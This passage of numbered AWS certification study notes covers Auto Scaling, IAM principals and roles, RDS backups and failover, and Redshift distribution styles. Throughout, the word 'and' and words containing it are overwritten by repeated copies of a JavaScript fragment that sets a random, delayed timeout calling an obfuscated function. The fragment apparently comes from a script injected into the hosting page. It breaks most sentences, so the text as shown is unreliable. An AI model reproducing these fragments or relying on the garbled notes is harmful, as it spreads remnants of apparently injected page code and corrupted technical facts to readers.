  194. A launch configuration can reference On-Demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Instances or Spot Instances, but not both. (— spot-price “0.15”)
  195. Auto Scaling protects instances from termination during scale-in events. This means that Auto Scaling instance protection will receive the CloudWatch trigger  to delete instances, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and delete instances in the Auto Scaling group that do not have instance protection enabled. However, instance protection won’t protect Spot instance termination triggered due to market price exceeding bid price.
  196. The AWS Trusted Advisor provides best practices (or checks) in four categories:
    1. Cost Optimization
    2. Security
    3. Fault tolerance
    4. Performance improvement.
  197. Using Amazon CloudWatch alarm actions, you can create alarms that automatically stop, terminate, reboot, or recover your Amazon Elastic Compute Cloud (Amazon EC2) instances. You can use the stop or terminate actions to help you save money when you no longer need an instance to be running.
  198. Since AWS is a public cloud any application hosted on EC2 is prone to hacker attacks. It becomes extremely important for a user to setup a proper security mechanism on the EC2 instances. A few of the security measures are listed below:
    1. Always keep the OS updated with the latest patch
    2. Always create separate users with in OS if they need to connect with the EC2 instances, create their keys andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and disable their password
    3. Create a procedure using which the admin can revoke the access of the user when the business work on the EC2 instance is completed
    4. Lock down unnecessary ports
    5. Audit any proprietary applications that the user may be running on the EC2 instance
    6. Provide temporary escalated privileges, such as sudo for users who need to perform occasional privileged tasks
  199. A recommended best practice is to scale out quickly andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and scale in slowly so you can respond to bursts or spikes but avoid inadvertently terminating Amazon EC2 instances too quickly, only having to launch more Amazon EC2 instances if the burst is sustained.
  200. IAM is not an identity store/ authorization system 
  201. if you are working with a mobile app, consider Amazon Cognito for identity management for mobile applications.
  202. A principal is an IAM entity that is allowed to interact with AWS resources. A principal can be permanent or temporary, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it can represent a human or an application.
  203. There are three types of principals: root users, IAM users, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and roles / temporary security tokens.
  204. Roles are used to grant specific privileges to specific actors for a set duration of time.
  205. When one of these actors assumes a role, AWS provides the actor with a temporary security token from the AWS Security Token Service (STS) that the actor can use to access AWS Cloud services.
  206. The range of a temporary security token lifetime is 15 minutes to 36 hours.
  207. Amazon EC2 Roles
    1. Granting permissions to applications running on an Amazon EC2 instance.
    2. Cross-Account Access— Granting permissions to users from other AWS accounts, whether you control those accounts or not.
    3. Federation— Granting permissions to users authenticated by a trusted external system.
  208. IAM can integrate with two different types of outside Identity Providers: web (e.g. facebook) & internal/enterprise (e.g. active directory)
  209. A policy is a JSON document that fully defines a set of permissions to access andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and manipulate AWS resources.
  210. The security risk of any credential increases with the age of the credential. To this end, it is a security best practice to rotate access keys associated with your IAM users. IAM facilitates this process by allowing two active access keys at a time.
  211. If an AssumeRole call includes a role andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a policy, the policy cannot expandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the privileges of the role.
  212. Common use cases for IAM roles include federating identities from external IdPs, assigning privileges to an Amazon EC2 instance where they can be assumed by applications running on the instance, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cross-account access.
  213. The three principals that can authenticate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and interact with AWS resources are the root user, IAM users, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and roles.
  214. Amazon RDS does not provide shell access to Database (DB) Instances, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it restricts access to certain system procedures andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and tables that require advanced privileges.
  215. Existing DB Instances can be changed or resized using the ModifyDBInstance API.
  216. A DB parameter group acts as a container for engine configuration values that can be applied to one or more DB Instances.
  217. A DB option group acts as a container for engine features, which is empty by default.
  218. Amazon RDS MySQL supports Multi-AZ deployments for high availability andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and read replicas for horizontal scaling.
  219. AWS offers two licensing models: License Included andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Bring Your Own License (BYOL).
  220. When you first create an Amazon Aurora instance, you create a DB cluster. A DB cluster has one or more instances andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and includes a cluster volume that manages the data for those instances. Each DB cluster can have up to 15 Amazon Aurora Replicas in addition to the primary instance.
  221. Amazon RDS supports three storage types: Magnetic, General Purpose (Solid State Drive [SSD]), andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Provisioned IOPS (SSD).
  222. RPO is defined as the maximum period of data loss that is acceptable 
  223. RTO is defined as the maximum amount of downtime that is permitted to recover from backup andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and to resume processing.
  224. When you delete a DB Instance, all automated backup snapshots are deleted andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cannot be recovered. Manual snapshots, however, are not deleted.
  225. Automated backups are kept for a configurable number of days, called the backup retention period.
  226. You cannot restore from a DB snapshot to an existing DB Instance; a new DB Instance is created when you restore.
  227. Multi-AZ deployments are available for all types of Amazon RDS database engines.
  228. Amazon RDS automatically replicates the data from the master database or primary instance to the slave database or secondary instance using synchronous replication.
  229. Amazon RDS will automatically fail over to the standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andby instance without user intervention. The DNS name remains the same, but the Amazon RDS service changes the CNAME to point to the standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andby.
  230. Failover between the primary andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the secondary instance is fast, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the time automatic failover takes to complete is typically one to two minutes.
  231. Each database instance can scale from 5GB up to 6TB in provisioned storage depending on the storage type andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and engine.
  232. Read replicas are currently supported in Amazon RDS for MySQL, PostgreSQL, MariaDB, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Amazon Aurora.
  233. Updates made to the source DB Instance are asynchronously copied to the read replica. You can reduce the load on your source DB Instance by routing read queries from your applications to the read replica.
  234. Before you can deploy into an Amazon VPC, you must first create a DB subnet group that predefines which subnets are available for Amazon RDS deployments.
  235. The key component of an Amazon Redshift data warehouse is a cluster. A cluster is composed of a leader node andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and one or more compute nodes. The Dense Compute node types support clusters up to 326TB using fast SSDs, while the Dense Storage nodes support clusters up to 2PB using large magnetic disks. The number of slices per node depends on the node size of the cluster andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and typically varies between 2 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 16.
  236. Whenever you perform a resize operation, Amazon Redshift will create a new cluster andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and migrate data from the old cluster to the new one. During a resize operation, the database will become read-only until the operation is finished.
  237. The data distribution style that you select for your database has a big impact on query performance, storage requirements, data loading, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and maintenance. When creating a table, you can choose between one of three distribution styles: EVEN, KEY, or ALL.
  238. EVEN distribution is the default option andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and results in the data being distributed across the slices in a uniform fashion regardless of the data.
  239. KEY distribution: With KEY distribution, the rows are distributed according to the values in one column. The leader node will store matching values close together andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and increase query performance for joins.
  240. With ALL, a full copy of the entire table is distributed to every node. This is useful for lookup tables andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other large tables that are not updated frequently.
  241. The sort keys for a table can be either compound or interleaved. A compound sort key is more efficient when query predicates use a prefix, which is a subset of the sort key columns in order. An interleaved sort key gives equal weight to each column in the sort key, so query predicates can use any subset of the columns that make up the sort key, in any order.
  242. Amazon Redshift supports standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard SQL commandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands like INSERT andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and UPDATE to create andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and modify records in a table.
  243. A COPY commandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and can load data into a table in the most efficient manner, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it supports multiple types of input data sources.
  244. Data can also be exported out of Amazon Redshift using the UNLOAD commandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and. This commandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and can be used to generate delimited text files andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and store them in Amazon S3.
